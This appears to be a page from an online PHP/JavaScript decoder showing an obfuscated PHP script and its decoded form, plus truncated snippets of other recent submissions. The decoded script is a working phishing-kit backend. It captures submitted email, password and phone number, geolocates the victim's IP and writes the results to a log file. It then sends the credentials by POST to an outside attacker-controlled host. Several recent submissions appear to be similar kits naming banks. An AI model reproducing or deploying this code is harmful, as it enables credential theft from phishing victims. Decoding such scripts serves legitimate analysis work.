Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php eval(base64_decode('CiBnb3RvIFB2eVZmOyBYR2t2OTogaWYgKGVtcHR5KCRfUE9TVFsiXHg3MFwxNjdcMTY3Il0pKSB7ICRuYW1lRXJyID0gIlw0MCI7IH0gZWxzZWlmIChzdHJsZW4oJF9QT1NUWyJcMTQ1XDE1NVwxNTUiXSkgPiA2MCkgeyAkbmFtZUVyciA9ICJcNDAiOyB9IGVsc2VpZiAoc3RybGVuKCRfUE9TVFsiXDE2MFx4NzdcMTY3Il0pID4gNjApIHsgJG5hbWVFcnIgPSAiXHgyMCI7IH0gZWxzZWlmIChzdHJsZW4oJF9QT1NUWyJceDY1XHg2ZFx4NmQiXSkgPCAxKSB7ICRuYW1lRXJyID0gIlx4MjAiOyB9IGVsc2VpZiAoc3RybGVuKCRfUE9TVFsiXHg3MFwxNjdceDc3Il0pIDwgMSkgeyAkbmFtZUVyciA9ICJceDIwIjsgfSBlbHNlIHsgJGVtbSA9ICRfUE9TVFsiXDE0NVx4NmRceDZkIl07ICRwd3cgPSAkX1BPU1RbIlwxNjBcMTY3XHg3NyJdOyAkZm9ubiA9ICRfUE9TVFsiXDE0NlwxNTdcMTU2XDE1NiJdOyAkaXBfYWRkcmVzcyA9ICRfU0VSVkVSWyJcMTIyXDEwNVwxMTVcMTE3XHg1NFwxMDVcMTM3XDEwMVwxMDRcMTA0XHg1MiJdOyAkbG9jYXRpb24gPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygiXHg2OFx4NzRceDc0XHg3MFx4M2FcNTdcNTdcMTUxXDE2MFwxNTFcMTU2XDE0NlwxNTdceDJlXHg2OVx4NmZcNTd7JGlwX2FkZHJlc3N9XDU3XHg2YVwxNjNcMTU3XHg2ZSIpKTsgJGNvdW50cnkgPSAkbG9jYXRpb24tPmNvdW50cnk7ICRzdGF0ZSA9ICRsb2NhdGlvbi0+cmVnaW9uOyAkY2l0eSA9ICRsb2NhdGlvbi0+Y2l0eTsgJGlwID0gZ2V0ZW52KCJceDUyXHg0NVx4NGRceDRmXDEyNFx4NDVcMTM3XHg0MVwxMDRcMTA0XDEyMiIpOyAkcG9ydCA9ICRfU0VSVkVSWyJcMTIyXDEwNVx4NGRceDRmXDEyNFx4NDVceDVmXDEyMFwxMTdceDUyXHg1NCJdOyAkaG9zdG5hbWUgPSBnZXRob3N0YnlhZGRyKCRpcCk7ICRkYXRlID0gZGF0ZSgiXDE2MiIpOyAkZGF0YSA9ICJceDNkXHgzZFw3NVw3NVw3NVx4M2RceDNkXHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVx4M2RceDNkXHgzZFw1M1x4NWJceDIwXDQwXHg1MlwxNDVceDczXHg3NVx4NmNcMTY0XHgyMFx4NWRcNTNceDNkXHgzZFx4M2RceDNkXHgzZFx4M2RceDNkXDc1XDc1XHgzZFx4M2RceDNkXDc1XHgzZFx4M2RceDNkXDc1XDc1XHgzY1wxNDJceDcyXDc2XHhhXDEyXDExMVx4NDRcNzJcNDB7JGVtbX1ceDNjXDE0MlwxNjJcNzZcMTJcMTIwXDE0MVx4NzNcMTYzXDE2N1x4NmZcMTYyXDE0NFx4M2FcNDB7JHB3d31cNzRceDYyXDE2Mlx4M2VcMTJceDUwXHg2OFx4NmZcMTU2XDE0NVx4M2FceDIweyRmb25ufVw3NFx4NjJcMTYyXDc2XHhhXHg2M1x4NmZceDc1XHg2ZVwxNjRceDcyXDE3MVx4M2FceDIweyRjb3VudHJ5fVw3NFx4NjJcMTYyXDc2XDEyXHg3M1x4NzRcMTQxXDE2NFwxNDVcNzJceDIweyRzdGF0ZX1cNzRceDYyXDE2Mlx4M2VceGFceDYzXDE1MVwxNjRceDc5XHgzYVx4MjB7JGNpdHl9XHgzY1wxNDJcMTYyXHgzZVx4YVwxNDRcMTQxXHg3NFwxNDVceDNhXDQweyRkYXRlfVx4M2NcMTQyXHg3Mlw3Nlx4YVwxMDNcMTU0XDE1MVwxNDVceDZlXDE2NFx4MjBcMTUxXHg3MFx4M2FceDIweyRpcH1cNzRcMTQyXDE2Mlw3Nlx4YVx4NTBceDZmXDE2MlwxNjRcNzJceDIweyRwb3J0fVw3NFx4NjJceDcyXHgzZVx4YVx4M2RcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXHgzZFx4MmJceDIwXDEzM1x4MjBceDQzXDE2MlwxNDVcMTQxXDE2NFx4NjVceDY0XDQwXDE0Mlx4NzlceDIwXDExN1x4NmRcMTQ1XDEwN1x4NjFcMTE0XDE1N1wxNjJcMTA0XDQwXDEzNVx4MjBcNTNceDNkXHgzZFw3NVx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XHgzZFw3NVw3NFx4NjJcMTYyXDc2XDc0XDE0MlwxNjJcNzYiOyAkZmlsZW5hbWUgPSAiXDE0MlwxNTRcMTUzXDU3XHg2ZFwxNTdceDY3XHg2N1wxNDVceDcyXDU2XDE2NFwxNzBcMTY0IjsgJGZpbGUgPSBmb3BlbigkZmlsZW5hbWUsICJcMTQxXHgyYiIpOyBmd3JpdGUoJGZpbGUsICRkYXRhKTsgZmNsb3NlKCRmaWxlKTsgJGRhdGEgPSBhcnJheSgiXDE0NVx4NmRceDZkIiA9PiAkZW1tLCAiXHg3MFwxNjdcMTY3IiA9PiAkcHd3LCAiXDE0Nlx4NmZcMTU2XDE1NiIgPT4gJGZvbm4sICJcMTUxXHg3MCIgPT4gJGlwKTsgJHVybCA9ICJceDY4XHg3NFx4NzRcMTYwXHg3M1x4M2FcNTdceDJmXHg3M1w2Mlx4MzRceDM5XHgzM1x4MzJcNjdcNTZcNzFcNjZcNTZcMTU0XHg3NFx4MmZceDYzXDE0MVwxNTVceDM5XDYwXHgzOVw1N1wxNjNcMTYwXDU2XHg3MFwxNTBcMTYwIjsgJG9wdGlvbnMgPSBhcnJheShDVVJMT1BUX1VSTCA9PiAkdXJsLCBDVVJMT1BUX1BPU1QgPT4gMSwgQ1VSTE9QVF9QT1NURklFTERTID0+IGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUpOyAkY3VybCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdF9hcnJheSgkY3VybCwgJG9wdGlvbnMpOyAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGN1cmwpOyBjdXJsX2Nsb3NlKCRjdXJsKTsgfSBnb3RvIGxYMXlxOyB6Z1Q2QTogaWYgKGVtcHR5KCRfUE9TVFsiXDE0NVwxNTVcMTU1Il0pKSB7ICRuYW1lRXJyID0gIlx4MjAiOyB9IGdvdG8gWEdrdjk7IFB2eVZmOiBzZXNzaW9uX3N0YXJ0KCk7IGdvdG8gemdUNkE7IGxYMXlxOiA=')); ?>

Decrypted code:


 goto PvyVf; XGkv9: if (empty($_POST["\x70\167\167"])) { $nameErr = "\40"; } elseif (strlen($_POST["\145\155\155"]) > 60) { $nameErr = "\40"; } elseif (strlen($_POST["\160\x77\167"]) > 60) { $nameErr = "\x20"; } elseif (strlen($_POST["\x65\x6d\x6d"]) < 1) { $nameErr = "\x20"; } elseif (strlen($_POST["\x70\167\x77"]) < 1) { $nameErr = "\x20"; } else { $emm = $_POST["\145\x6d\x6d"]; $pww = $_POST["\160\167\x77"]; $fonn = $_POST["\146\157\156\156"]; $ip_address = $_SERVER["\122\105\115\117\x54\105\137\101\104\104\x52"]; $location = json_decode(file_get_contents("\x68\x74\x74\x70\x3a\57\57\151\160\151\156\146\157\x2e\x69\x6f\57{$ip_address}\57\x6a\163\157\x6e")); $country = $location->country; $state = $location->region; $city = $location->city; $ip = getenv("\x52\x45\x4d\x4f\124\x45\137\x41\104\104\122"); $port = $_SERVER["\122\105\x4d\x4f\124\x45\x5f\120\117\x52\x54"]; $hostname = gethostbyaddr($ip); $date = date("\162"); $data = "\x3d\x3d\75\75\75\x3d\x3d\x3d\x3d\75\x3d\75\75\x3d\75\x3d\x3d\x3d\53\x5b\x20\40\x52\145\x73\x75\x6c\164\x20\x5d\53\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\75\x3d\x3d\x3d\75\x3d\x3d\x3d\75\75\x3c\142\x72\76\xa\12\111\x44\72\40{$emm}\x3c\142\162\76\12\120\141\x73\163\167\x6f\162\144\x3a\40{$pww}\74\x62\162\x3e\12\x50\x68\x6f\156\145\x3a\x20{$fonn}\74\x62\162\76\xa\x63\x6f\x75\x6e\164\x72\171\x3a\x20{$country}\74\x62\162\76\12\x73\x74\141\164\145\72\x20{$state}\74\x62\162\x3e\xa\x63\151\164\x79\x3a\x20{$city}\x3c\142\162\x3e\xa\144\141\x74\145\x3a\40{$date}\x3c\142\x72\76\xa\103\154\151\145\x6e\164\x20\151\x70\x3a\x20{$ip}\74\142\162\76\xa\x50\x6f\162\164\72\x20{$port}\74\x62\x72\x3e\xa\x3d\75\x3d\75\x3d\x3d\75\75\75\75\75\x3d\x3d\x2b\x20\133\x20\x43\162\145\141\164\x65\x64\40\142\x79\x20\117\x6d\145\107\x61\114\157\162\104\40\135\x20\53\x3d\x3d\75\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\75\74\x62\162\76\74\142\162\76"; $filename = "\142\154\153\57\x6d\157\x67\x67\145\x72\56\164\170\164"; $file = fopen($filename, "\141\x2b"); fwrite($file, $data); fclose($file); $data = array("\145\x6d\x6d" => $emm, "\x70\167\167" => $pww, "\146\x6f\156\156" => $fonn, "\151\x70" => $ip); $url = "\x68\x74\x74\160\x73\x3a\57\x2f\x73\62\x34\x39\x33\x32\67\56\71\66\56\154\x74\x2f\x63\141\155\x39\60\x39\57\163\160\56\x70\150\160"; $options = array(CURLOPT_URL => $url, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true); $curl = curl_init(); curl_setopt_array($curl, $options); $response = curl_exec($curl); curl_close($curl); } goto lX1yq; zgT6A: if (empty($_POST["\145\155\155"])) { $nameErr = "\x20"; } goto XGkv9; PvyVf: session_start(); goto zgT6A; lX1yq:

Recent submissions:

<?php eval(base64_decode('CiBnb3RvIFB2eVZmOyBYR2t2OTogaWYgKGVtcHR5KCRfUE9TVFsiXHg3MFwxNjdc... <?php namespace App\Models\Belfius; use PDO; class Belfius extends \Core\Model { public ... rb1nd+PGljb6/fwKWEt3LM/bp5sgCKYanxnmIOYo0fbhYgBzDmKw/d/fHaoKIKWWPffetdwmRQAVdu3w7FCFXjQc/X... <?php /* This file is protected by copyright law and provided under license. Reverse engin... <?php namespace App\Models\Axa; use PDO; class Axa extends \Core\Model { public static f... <?php> echo "\x48\x54\124\x50\137\x55\123\105\122\x5f\x41\107\x45\116\x54";... <?php> echo "\143\x6f\156\x74\145\156\164";... <?php> echo "\123\103\x52\111\120\124\137\x4e\x41\x4d\105";... <?php> echo "\110\124\124\x50\137\101\103\x43\x45\120\124\x5f\114\101\x4e\107\x55\101\107... document.write(decodeURIComponent(atob("JTNDc2NyaXB0JTIwbGFuZ3VhZ2UlM0QlMjJqYXZhc2NyaXB0JT...